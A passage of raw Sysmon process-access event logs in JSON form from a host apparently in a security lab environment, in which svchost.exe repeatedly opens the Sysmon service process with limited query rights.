C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5986,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5987,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5988,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5989,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5990,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5991,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5992,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5993,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 